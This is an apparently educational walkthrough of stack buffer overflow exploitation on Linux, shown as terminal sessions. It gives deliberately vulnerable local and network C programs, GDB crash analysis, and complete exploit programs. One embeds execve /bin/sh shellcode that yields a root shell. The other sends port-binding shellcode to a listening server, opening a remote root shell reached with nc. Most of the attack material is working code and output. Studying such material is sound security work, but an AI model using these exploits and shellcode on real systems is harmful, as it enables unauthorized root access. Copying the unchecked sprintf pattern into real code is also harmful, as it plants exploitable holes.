407 lines
13 KiB
Plaintext
407 lines
13 KiB
Plaintext
Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
|
|
|
|
Stack Overflow Exploitation Demonstration [LINUX]
|
|
|
|
[PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL]
|
|
|
|
bugs@linux:~$ cat bof.c
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
char buf[1024];
|
|
|
|
if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; }
|
|
|
|
sprintf(buf, "%s", argv[1]);
|
|
printf("\n%s\n\n", buf);
|
|
|
|
return 0;
|
|
}
|
|
bugs@linux:~$ gcc -o bof bof.c
|
|
bugs@linux:~$ ./bof
|
|
usage: ./bof data
|
|
bugs@linux:~$ gdb bof
|
|
GNU gdb 6.1.1
|
|
Copyright 2004 Free Software Foundation, Inc.
|
|
GDB is free software, covered by the GNU General Public License, and you are
|
|
welcome to change it and/or distribute copies of it under certain conditions.
|
|
Type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB. Type "show warranty" for details.
|
|
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
|
|
|
|
(gdb) r `perl -e 'print "A" x 1040'`
|
|
Starting program: /home/bugs/bof `perl -e 'print "A" x 1040'`
|
|
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41414141 in ?? ()
|
|
(gdb) i r
|
|
eax 0x0 0
|
|
ecx 0x0 0
|
|
edx 0x413 1043
|
|
ebx 0x4015760c 1075148300
|
|
esp 0xbffff360 0xbffff360
|
|
ebp 0x41414141 0x41414141
|
|
esi 0x40014900 1073826048
|
|
edi 0xbffff3a4 -1073744988
|
|
eip 0x41414141 0x41414141
|
|
eflags 0x10282 66178
|
|
cs 0x23 35
|
|
ss 0x2b 43
|
|
ds 0x2b 43
|
|
es 0x2b 43
|
|
fs 0x0 0
|
|
gs 0x0 0
|
|
(gdb) q
|
|
The program is running. Exit anyway? (y or n) y
|
|
bugs@linux:~$ cat bofex.c
|
|
#include <stdio.h>
|
|
|
|
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
|
|
|
|
char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50"
|
|
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
|
|
"\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
if(argc < 3) { printf("Usage: %s prog size\n", argv[0]); return 0; }
|
|
|
|
char *ptr, *prog = argv[1];
|
|
int i, size = atoi(argv[2]);
|
|
long *addr_ptr;
|
|
|
|
char buffer[size];
|
|
ptr = buffer;
|
|
addr_ptr = (long *)ptr;
|
|
|
|
for(i = 0; i < size; i += 4)
|
|
*(addr_ptr++) = RETADDR; // put the return address in our exploit buffer
|
|
|
|
for(i = 0; i < size / 2; i++)
|
|
buffer[i] = '\x90'; // fill around half of the buffer with NOPs
|
|
|
|
ptr = buffer + ((size / 2) - (strlen(shellcode) / 2));
|
|
|
|
for(i = 0; i < strlen(shellcode); i++)
|
|
*(ptr++) = shellcode[i]; // here comes the shellcode
|
|
|
|
execl(prog, prog, buffer, 0); // smash the stack
|
|
|
|
return 0;
|
|
}
|
|
|
|
bugs@linux:~$ gcc -o bofex bofex.c
|
|
bugs@linux:~$ gdb bofex
|
|
GNU gdb 6.1.1
|
|
Copyright 2004 Free Software Foundation, Inc.
|
|
GDB is free software, covered by the GNU General Public License, and you are
|
|
welcome to change it and/or distribute copies of it under certain conditions.
|
|
Type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB. Type "show warranty" for details.
|
|
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
|
|
|
|
(gdb) r /home/bugs/bof 1040
|
|
Starting program: /home/bugs/bofex /home/bugs/bof 1040
|
|
|
|
Program received signal SIGTRAP, Trace/breakpoint trap.
|
|
0x40000b20 in ?? () from /lib/ld-linux.so.2
|
|
(gdb) c
|
|
Continuing.
|
|
|
|
..... //shh/bin ..... DCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBA
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41424344 in ?? ()
|
|
(gdb) i r
|
|
eax 0x0 0
|
|
ecx 0x0 0
|
|
edx 0x429 1065
|
|
ebx 0x4015760c 1075148300
|
|
esp 0xbffff340 0xbffff340
|
|
ebp 0x41424344 0x41424344
|
|
esi 0x40014900 1073826048
|
|
edi 0xbffff384 -1073745020
|
|
eip 0x41424344 0x41424344
|
|
eflags 0x10282 66178
|
|
cs 0x23 35
|
|
ss 0x2b 43
|
|
ds 0x2b 43
|
|
es 0x2b 43
|
|
fs 0x0 0
|
|
gs 0x0 0
|
|
(gdb) x/100x $esp-800
|
|
0xbffff020: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff030: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff040: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff050: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff060: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff070: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff080: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff090: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff0a0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff0b0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff0c0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff0d0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff0e0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff0f0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff100: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff110: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff120: 0x90909090 0x90909090 0xdb31c031 0x80cd17b0
|
|
0xbffff130: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
|
|
0xbffff140: 0x99e18953 0x80cd0bb0 0x41424344 0x41424344
|
|
0xbffff150: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff160: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff170: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff180: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff190: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff1a0: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
(gdb) q
|
|
The program is running. Exit anyway? (y or n) y
|
|
bugs@linux:~$ grep RETADDR bofex.c
|
|
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
|
|
*(addr_ptr++) = RETADDR; // put the return address in our exploit buffer
|
|
bugs@linux:~$ pico bofex.c
|
|
bugs@linux:~$ grep RETADDR bofex.c
|
|
#define RETADDR 0xbffff0e0 // return address to hit nop slide + shellcode
|
|
*(addr_ptr++) = RETADDR; // put the return address in our exploit buffer
|
|
bugs@linux:~$ gcc -o bofex bofex.c
|
|
bugs@linux:~$ ./bofex
|
|
Usage: ./bofex prog size
|
|
bugs@linux:~$ ./bofex /home/bugs/bof 1040
|
|
|
|
..... //shh/bin .....
|
|
|
|
sh-2.05b# id
|
|
uid=0(root) gid=100(users) groups=100(users)
|
|
sh-2.05b# exit
|
|
exit
|
|
bugs@linux:~$
|
|
|
|
[PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE]
|
|
|
|
(Terminal #1)
|
|
|
|
bugs@linux:~$ cat serv.c
|
|
#include <stdio.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
|
|
#define BUFFSZ 1024
|
|
#define READSZ 2048
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; }
|
|
|
|
int z, cli, serv, port = atoi(argv[1]);
|
|
|
|
struct sockaddr_in client, server;
|
|
|
|
server.sin_family = AF_INET;
|
|
server.sin_port = htons(port);
|
|
server.sin_addr.s_addr = INADDR_ANY;
|
|
|
|
if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
|
|
|
|
if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }
|
|
|
|
if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }
|
|
|
|
for(;;)
|
|
{
|
|
|
|
cli = accept(serv, (struct sockaddr *)&client, &z);
|
|
|
|
if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); }
|
|
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int vulnerable(int sock)
|
|
{
|
|
|
|
char buffer[BUFFSZ], readbuf[READSZ];
|
|
|
|
memset(buffer, 0, BUFFSZ);
|
|
memset(readbuf, 0, READSZ);
|
|
|
|
read(sock, readbuf, READSZ, 0);
|
|
|
|
sprintf(buffer, "%s", readbuf); // we smash the stack here
|
|
|
|
send(sock, buffer, BUFFSZ, 0);
|
|
|
|
close(sock);
|
|
|
|
}
|
|
|
|
bugs@linux:~$ gcc -o serv serv.c
|
|
bugs@linux:~$ ./serv
|
|
Usage: ./serv port
|
|
bugs@linux:~$ gdb serv
|
|
GNU gdb 6.5
|
|
Copyright (C) 2006 Free Software Foundation, Inc.
|
|
GDB is free software, covered by the GNU General Public License, and you are
|
|
welcome to change it and/or distribute copies of it under certain conditions.
|
|
Type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB. Type "show warranty" for details.
|
|
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
|
|
|
|
(gdb) r 5555
|
|
Starting program: /home/bugs/serv 5555
|
|
|
|
(Terminal #2)
|
|
|
|
bugs@linux:~$ cat servex.c
|
|
#include <stdio.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
|
|
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
|
|
|
|
char shellcode[] = /* Linux Portbind @ 52972 */
|
|
"\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
|
|
"\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1"
|
|
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
|
|
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
|
|
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
|
|
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
|
|
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
if(argc < 4) { printf("Usage: %s host port size\n", argv[0]); return 0; }
|
|
|
|
char *ptr, *host = argv[1];
|
|
int i, len, sock, port = atoi(argv[2]), size = atoi(argv[3]);
|
|
long *addr_ptr;
|
|
|
|
char buffer[size];
|
|
ptr = buffer;
|
|
addr_ptr = (long *)ptr;
|
|
|
|
struct sockaddr_in target;
|
|
|
|
for(i = 0; i < size; i += 4)
|
|
*(addr_ptr++) = RETADDR; // put the return address in our exploit buffer
|
|
|
|
for(i = 0; i < size / 2; i++)
|
|
buffer[i] = '\x90'; // fill around half of the buffer with NOPs
|
|
|
|
ptr = buffer + ((size / 2) - (strlen(shellcode) / 2));
|
|
|
|
for(i = 0; i < strlen(shellcode); i++)
|
|
*(ptr++) = shellcode[i]; // here comes the shellcode
|
|
|
|
len = strlen(buffer);
|
|
|
|
target.sin_family = AF_INET;
|
|
target.sin_port = htons(port);
|
|
target.sin_addr.s_addr = inet_addr(host);
|
|
|
|
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
|
|
|
|
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; }
|
|
|
|
send(sock, buffer, len, 0);
|
|
|
|
return 0;
|
|
}
|
|
|
|
bugs@linux:~$ gcc -o servex servex.c
|
|
bugs@linux:~$ ./servex
|
|
Usage: ./servex host port size
|
|
bugs@linux:~$ ./servex 127.0.0.1 5555 1040
|
|
|
|
(Terminal #1)
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x41424344 in ?? ()
|
|
(gdb) i r
|
|
eax 0xffffffff -1
|
|
ecx 0x9 9
|
|
edx 0x4000baa0 1073789600
|
|
ebx 0x4015bff0 1075167216
|
|
esp 0xbffff570 0xbffff570
|
|
ebp 0x41424344 0x41424344
|
|
esi 0xbffff630 -1073744336
|
|
edi 0x2 2
|
|
eip 0x41424344 0x41424344
|
|
eflags 0x10286 [ PF SF IF RF ]
|
|
cs 0x23 35
|
|
ss 0x2b 43
|
|
ds 0x2b 43
|
|
es 0x2b 43
|
|
fs 0x0 0
|
|
gs 0x0 0
|
|
(gdb) x/100x $esp-800
|
|
0xbffff250: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff260: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff270: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff280: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff290: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff2a0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff2b0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff2c0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff2d0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff2e0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff2f0: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff300: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff310: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff320: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0xbffff330: 0x90909090 0x90909090 0x90909090 0x666a9090
|
|
0xbffff340: 0x5b016a58 0x6a535299 0xcde18902 0x68435280
|
|
0xbffff350: 0xecce02ff 0x106ae189 0xe1895051 0x66b0c689
|
|
0xbffff360: 0x434380cd 0x80cd66b0 0xe1895652 0xcd66b043
|
|
0xbffff370: 0x89d98980 0x493fb0c3 0xe24180cd 0x6e6852f8
|
|
0xbffff380: 0x6868732f 0x69622f2f 0x5352e389 0x0bb0e189
|
|
0xbffff390: 0x414280cd 0x41424344 0x41424344 0x41424344
|
|
0xbffff3a0: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff3b0: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff3c0: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
0xbffff3d0: 0x41424344 0x41424344 0x41424344 0x41424344
|
|
(gdb) q
|
|
The program is running. Exit anyway? (y or n) y
|
|
root@linux:~# ./serv 5555
|
|
|
|
(Terminal #2)
|
|
|
|
bugs@linux:~$ grep RETADDR servex.c
|
|
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
|
|
*(addr_ptr++) = RETADDR; // put the return address in our exploit buffer
|
|
bugs@linux:~$ pico servex.c
|
|
bugs@linux:~$ grep RETADDR servex.c
|
|
#define RETADDR 0xbffff250 // return address to hit nop slide + shellcode
|
|
*(addr_ptr++) = RETADDR; // put the return address in our exploit buffer
|
|
bugs@linux:~$ gcc -o servex servex.c
|
|
bugs@linux:~$ netstat -antp | grep serv
|
|
(Not all processes could be identified, non-owned process info
|
|
will not be shown, you would have to be root to see it all.)
|
|
Active Internet connections (servers and established)
|
|
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 2256/serv
|
|
bugs@linux:~$ ./servex 127.0.0.1 5555 1040
|
|
bugs@linux:~$ netstat -antp | grep serv
|
|
(Not all processes could be identified, non-owned process info
|
|
will not be shown, you would have to be root to see it all.)
|
|
Active Internet connections (servers and established)
|
|
tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN 2256/serv
|
|
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 2256/serv
|
|
tcp 1 0 127.0.0.1:5555 127.0.0.1:32834 CLOSE_WAIT 2256/serv
|
|
bugs@linux:~$ nc localhost 52972
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
|
|
exit
|
|
bugs@linux:~$
|
|
|
|
Questions. Comments. Concerns. --> 0xjbrown41@gmail.com |